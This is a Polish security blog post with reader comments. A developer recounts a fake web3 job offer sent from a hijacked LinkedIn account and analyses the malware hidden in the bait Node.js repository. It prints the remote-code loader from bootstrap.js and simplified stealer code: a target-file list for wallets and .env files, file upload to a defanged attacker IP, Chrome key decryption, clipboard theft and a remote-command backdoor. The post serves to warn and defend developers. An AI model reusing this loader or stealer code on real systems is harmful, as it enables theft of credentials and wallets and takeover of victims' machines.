Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
TL;DR: Otrzymałem ofertę pracy web3 z pozornie prawdziwego (ale zhakowanego) konta LinkedIn. Przynętą było repozytorium z backendem Node.js, bazujące na skradzionym koncepcie projektu (munity.game). Kluczowy plik, bootstrap.js, dynamicznie pobierał i wykonywał zaciemniony malware. Cel: skanowanie systemu (portfele, pliki .env, dokumenty, hasła z Chrome), kradzież schowka, eksfiltracja danych i instalacja backdoora. “Rekruter” później przyznał, że jego konto zostało przejęte. Przypominajka: weryfikuj wszystko, nawet z zaufanych źródeł, i izoluj nieznany kod.
Chciałbym podzielić się niedawnym, niepokojącym doświadczeniem, które zaczęło się jak ekscytująca propozycja pracy, a szybko przerodziło w zaawansowaną próbę ataku malware. Najbardziej alarmujące? Wszystko przyszło przez pozornie całkowicie wiarygodny profil na LinkedIn. To nie jest zwykłe ostrzeżenie przed przypadkowymi wiadomościami; to dowód, że nawet zaufane źródła mogły zostać przejęte.
Zaczęło się od wiadomości na LinkedIn od “Briana”. Jego profil nie był świeżym tworem bez historii czy kontaktów. Wyglądał autentycznie: doświadczenie, znajomi z branży, profesjonalne detale. Pierwsza wiadomość również brzmiała przekonująco:
“Impressed by your expertise… looking for a software engineer… add a staking site to our web3 game platform… budget $120/h… fully remote.”
Na dzisiejszym rynku pracy, szczególnie dla ról zdalnych w Web3, to brzmiało solidnie. Co czyniło sytuację szczególnie podstępną, to stopniowy proces budowania zaufania, który poprzedził jakąkolwiek wzmiankę o repozytorium.
Przez kilka dni “Brian” prowadził ze mną korespondencję, która do złudzenia przypominała normalny, wstępny etap rekrutacji:
Ta wymiana, uzupełniona dokumentem wymagań, stworzyła silne pozory normalnej interakcji rekrutacyjnej. Zbudowała komfort i zaufanie.
Dopiero po tym etapie udostępniono mi repozytorium z “wersją demo”. I tu oszustwo weszło na głębszy poziom: “projekt”, platforma stakingowa dla gry Web3, okazał się być bezpośrednią kopią lub skradzioną wersją istniejącego projektu: munity.game.
Porównanie z działającą stroną munity.game później (po informacji o zhakowanym koncie) nie pozostawiało złudzeń co do podobieństw koncepcyjnych, a nawet niektórych elementów UI. Nie chodziło tylko o uruchomienie kodu; wykorzystano fasadę realnego (choć skradzionego) projektu, by dodać oszustwu wiarygodności.
Tak więc, z (fałszywym) poczuciem wiarygodności projektu, dokumentem wymagań w ręku i kontaktem z (zhakowanego) profilu LinkedIn, poproszono mnie o przejrzenie UI “demo”.
Repozytorium zawierało projekt o strukturze React frontend (src/) i Node.js/Express backend (server/).
Na pierwszy rzut oka – dość standardowa (choć nieco eklektyczna) baza kodu.
Głębsza analiza backendu ujawniła plik, który zapalił wszystkie czerwone lampki: server/utils/bootstrap.js. Skrypt ten został zaprojektowany do wykonania bardzo niebezpiecznej operacji:
Oto uproszczony rzut oka na ten niebezpieczny wzorzec:
const initAppBootstrap = async () => {
try {
const src = atob(process.env.DEV_API_KEY); // Dekoduje do zdalnego URL
const k = atob(process.env.DEV_SECRET_KEY); // Dekoduje do klucza nagłówka
const v = atob(process.env.DEV_SECRET_VALUE); // Dekoduje do wartości nagłówka
const s = (await axios.get(src,{headers:{[k]:v}})).data; // Pobiera kod
// STREFA ZAGROŻENIA: Tworzy nową funkcję z pobranego ciągu 's'
// i daje jej dostęp do 'require' z Node.js
const handler = new (Function.constructor)('require',s);
// Wykonuje pobrany kod z pełnymi możliwościami Node.js
handler(require);
} catch(error) { /* ... */ }
}
// Ta funkcja była wywoływana przy starcie serwera
initAppBootstrap();
Technika new Function(), szczególnie przy ładowaniu kodu z zewnętrznego, niezweryfikowanego źródła, to klasyczny wektor dostarczania malware. Dzieje się tak, ponieważ new Function(‘arg1’, ‘arg2’, ‘kod jako string’) pozwala na wykonanie dowolnego ciągu znaków jako kodu JavaScript w kontekście bieżącego procesu. W przypadku Node.js, przekazanie require jako argumentu (jak w new Function(‘require’, fetchedCodeString)) daje dynamicznie utworzonej funkcji pełny dostęp do wszystkich modułów systemowych, w tym fs (system plików), child_process (uruchamianie poleceń systemowych) czy modułów sieciowych. Oznacza to, że zdalnie pobrany kod uzyskuje te same uprawnienia, co aplikacja serwerowa, umożliwiając mu praktycznie nieograniczone działanie na maszynie ofiary.
Po pobraniu kodu z adresu, stało się jasne, że mamy do czynienia z czymś więcej niż “wersją demo”. Skrypt był mocno zaciemniony, co jest typową taktyką mającą na celu utrudnienie analizy i ukrycie jego prawdziwych, złośliwych intencji. Na potrzeby niniejszego artykułu kluczowe fragmenty kodu zostały przeanalizowane, a ich działanie przedstawiono w formie uproszczonych, czytelnych przykładów ilustrujących mechanizmy zaimplementowane przez atakujących.
Przykładowe cele z listy używanej przez malware:
const searchKey = [
"*.env*", "*metamask*", "*phantom*", "*bitcoin*",
"*Trust*", "*phrase*", "*secret*", "*mnemonic*",
"*seed*", "*recovery*", "*.pdf", "*.txt", "*.json",
"*.doc", "*.docx", "*.xls", "*.xlsx", "*.csv",
"*.js", "*.ts", "*.ini", "*keypair*", "*wallet*", "*backup*"
// ... i wiele innych, w tym specyficzne nazwy plików portfeli i dokumentów
];
Mechanizm eksfiltracji: Znalezione pliki, pasujące do kryteriów, były następnie wysyłane na serwer atakującego (hxxp[:]//172[.]86[.]111[.]244[:]4661/upload) przy użyciu żądań HTTP POST z FormData.
const FormData = require('form-data');
const fs = require('fs');
const path = require('path');
const axios = require('axios');
async function uploadFileToServer(filePath) {
try {
const form = new FormData();
form.append("file", fs.createReadStream(filePath), path.basename(filePath));
// Do żądania mogły być dołączane dodatkowe identyfikatory ofiary
await axios.post("hxxp://172[.]86[.]111[.]244[:]4661/upload", form, {
headers: { ...form.getHeaders() /*, 'userkey': 'victim_id' */ }
});
} catch (uploadErr) {
// Malware może ignorować błędy wysyłania, aby kontynuować działanie
}
}
Fragment ilustrujący wywołanie Powershella do deszyfracji klucza DPAPI:
const { execSync } = require('child_process');
const fs = require('fs');
function getChromeMasterKeyWindows() {
const localStatePath = path.join(os.homedir(), 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Local State');
const localState = JSON.parse(fs.readFileSync(localStatePath, 'utf-8'))
const encryptedKeyBase64 = localState.os_crypt.encrypted_key;
const encryptedKey = Buffer.from(encryptedKeyBase64, 'base64').slice(5); // Usuń prefix 'DPAPI'
const command = `powershell -Command "Add-Type -AssemblyName System.Security; ` +
`[System.Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect(` +
`[System.Convert]::FromBase64String('${encryptedKey.toString('base64')}'), $null, ` +
`[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"`;
const decryptedKeyBase64 = execSync(command, { windowsHide: true }).toString().trim();
return Buffer.from(decryptedKeyBase64, 'base64');
}
Fragment ilustrujący odczyt schowka:
const { exec } = require('child_process');
const os = require('os');
let lastClipboardContent = null;
function watchClipboardAndExfiltrate() {
const platform = os.platform();
let command = "";
if (platform === "darwin") { command = "pbpaste"; }
else if (platform === "win32") { command = "powershell Get-Clipboard -Raw"; }
else { return; } // Nieobsługiwane platformy
exec(command, { windowsHide: true, stdio: "ignore" }, (error, stdout, stderr) => {
const currentContent = stdout.trim();
if (currentContent && currentContent !== lastClipboardContent) {
lastClipboardContent = currentContent;
sendToServerFunction(currentContent, "hxxp://172[.]86[.]111[.]244[:]PORT_LOGOW/api/service/makelog");
}
});
}
setInterval(watchClipboardAndExfiltrate, 500); // Sprawdzanie co 0.5 sekundy
Fragment ilustrujący nasłuchiwanie na polecenia:
const { exec, execSync } = require('child_process');
try {
execSync('npm install socket.io-client --no-save --loglevel silent --no-progress', { windowsHide: true, stdio: 'ignore' });
} catch (e) { /* Potencjalny błąd instalacji */ }
const io = require('socket.io-client');
const socket = io("hxxp[:]//172[.]86[.]111[.]244[:]4661", { /* opcje połączenia */ });
socket.on('command', (commandData) => { // Nasłuchiwanie na polecenia od serwera C&C
if (commandData && commandData.message) {
exec(commandData.message, { windowsHide: true /*, opcje bufora */ }, (error, stdout, stderr) => {
let executionResult = stdout || stderr || (error ? error.message : "Command executed.");
socket.emit('message', { // Odesłanie wyniku wykonania polecenia
result: executionResult,
// ... inne dane identyfikujące (uid, cid, sid z oryginalnego commandData)
});
});
}
});
To nie była “wersja demo”. To był zaawansowany infostealer i backdoor, starannie przygotowany do kradzieży szerokiego zakresu danych i przejęcia kontroli nad zainfekowanym systemem.
Dzień po złożeniu tych elementów w całość i zgłoszeniu profilu, otrzymałem kolejną wiadomość od “Briana”:
“Sorry this is probably a scam job post. Someone hacked into my account and started sending scam job posts.”
Wiadomość ta nie tylko potwierdziła, że cała interakcja była oszustwem, ale ujawniła kluczowy element jego skuteczności: wykorzystanie przejętego, autentycznego konta LinkedIn. Ten fakt tłumaczył początkową wiarygodność kontaktu. Atakujący, zamiast budować fałszywe profile od zera, sięgają po istniejące, ugruntowane tożsamości, co czyni ich działania znacznie trudniejszymi do wstępnej weryfikacji.
To doświadczenie podkreśliło kilka krytycznych praktyk bezpieczeństwa dla programistów:
Ta “oferta pracy” była zaawansowaną próbą inżynierii społecznej, mającą na celu skłonienie programistów do dobrowolnego uruchomienia malware. Fakt, że pochodziła ze skradzionego konta, czynił ją tym bardziej podstępną.
Bądźcie czujni, dzielcie się doświadczeniami i pomagajmy sobie nawzajem pozostać bezpiecznymi.
Masz podobną historię lub wskazówkę dotyczącą bezpieczeństwa? Podziel się w komentarzach poniżej!
~Daniel Chutkowski
To nie zwykli scamerzy, tylko wywiad Korei Północnej. APT38/Lazarus/Contagious Interview.
@Anna
Całe szczęście że na razie zwykli randomi nie robią takich akcji :)
Troche dziwne, ze Brian przez kilka a moze wiecej dni sie nie zorientowal bo rekruterzy w zasadzie zyja LinkedInem.
Pewnie Brian nie pamiętał na jakiego mejla założył konto i nie mógł zresetować hasła ;)
Odnośnie „ Izoluj wszystko, co nieznane:”
Czy docker/podman container w trybie rootless jest wystarczającym poziomem izolacji?